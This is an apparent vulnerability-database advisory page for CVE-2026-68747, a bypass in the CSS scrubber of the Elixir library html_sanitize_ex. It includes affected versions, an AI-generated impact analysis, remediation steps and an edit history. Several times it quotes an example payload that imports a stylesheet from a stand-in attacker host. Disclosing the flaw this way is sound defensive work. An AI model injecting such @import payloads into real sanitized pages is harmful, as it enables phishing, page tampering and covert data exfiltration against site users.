CVE-2026-68747

CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

Published Aug 6, 2026 CVSS 4.0 · 2.3 Low EPSS < 1% KEV · Not listed
Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.

Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.

This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.

Analysis

AI-generated

Technical impact

The vulnerability is in the CSS scrubber of the Elixir library html_sanitize_ex. The scrubber applies its property–value allowlist only to substrings that match a property: value pattern; content that does not match this pattern bypasses filtering and is copied unchanged to the output. As a result, an attacker can inject CSS at‑rules such as @import url(//attacker.example/style.css) directly into a <style> element, which is preserved by the scrubber while a similar URL inside a background: url(...) declaration is removed. Element boundaries are resolved before scrubbing, so the injected content remains inside the <style> element and no script execution occurs. The affected release range is html_sanitize_ex 0.3.1 to 1.4.4 and 1.5.0‑rc.0 to 1.5.3.

Affected Systems

The issue affects the Elixir library html_sanitize_ex distributed by rrrene. Vulnerable versions are 0.3.1 through 1.4.4 and 1.5.0‑rc.0 through 1.5.3. Any deployment that relies on these versions to sanitize user‑supplied HTML containing <style> elements is impacted.

Risk and Exploitability

The CVSS score of 2.3 indicates low severity. The EPSS score is reported as < 1%, which indicates a very low exploit likelihood. The vulnerability is not listed in CISA’s KEV catalog, and there are no publicly documented exploits. The likely attack vector is an unauthenticated attacker delivering crafted HTML to a downstream component that sanitizes the content with html_sanitize_ex. Because the bug allows loading of external stylesheets via @import but does not enable script execution, the risk is limited compared to full XSS, yet it can still be leveraged for phishing, covert data exfiltration, or malicious page presentation. A Content-Security-Policy with style-src none would block external stylesheet loading, though inline rules would still apply.

Remediation

Vendor Workaround

Sanitize with basic_html/1, markdown_html/1 or strip_tags/1, none of which allow <style> elements, or define a custom scrubber that omits it. A Content-Security-Policy style-src directive that permits no external stylesheet origins stops an injected @import from loading, though injected inline rules still apply.


OpenCVE Recommended Actions

  • Upgrade html_sanitize_ex to version 1.5.4 or newer, which removes the bypass.
  • If an upgrade is not immediately possible, sanitize HTML using basic_html/1, markdown_html/1, or strip_tags/1, which reject <style> elements and prevent @import injection.
  • Alternatively, implement a custom scrubber that specifically excludes <style> tags.
  • Consider enforcing a Content-Security-Policy with style-src none to block external stylesheet loading, noting that inline rules would still apply.

Generated by OpenCVE AI on August 22, 2026 at 11:00 UTC.

Tracking

Sign in to view the affected projects.

Advisories

No advisories available
History
Type Values Removed Values Added
Description Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4. Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
References
Type Values Removed Values Added
First Time appeared Rrrene htmlsanitizeex
CPEs cpe:2.3:a:rrrene:htmlsanitizeex:*:*:*:*:*:*:*:*
Vendors & Products Rrrene htmlsanitizeex
Metrics cvssV3_1

{'score': 6.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N'}

Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'partial'}, 'version': '2.0.3'}

Type Values Removed Values Added
Description Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.
Title CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input
First Time appeared Rrrene
Rrrene html Sanitize Ex
Weaknesses CWE-74
CPEs cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*
Vendors & Products Rrrene
Rrrene html Sanitize Ex
References
Metrics cvssV4_0

{'score': 2.3, 'vector': 'CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N'}

Weaknesses
  • CWE-74

    Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Sources

Status
PUBLISHED
Assigner
EEF
Published
Updated
Nov 19, 2026, 8:46 AM
Reserved
Jul 31, 2026, 1:23 PM
Status
Modified
Published
Aug 6, 2026, 4:16 PM
Modified
Nov 19, 2026, 9:17 AM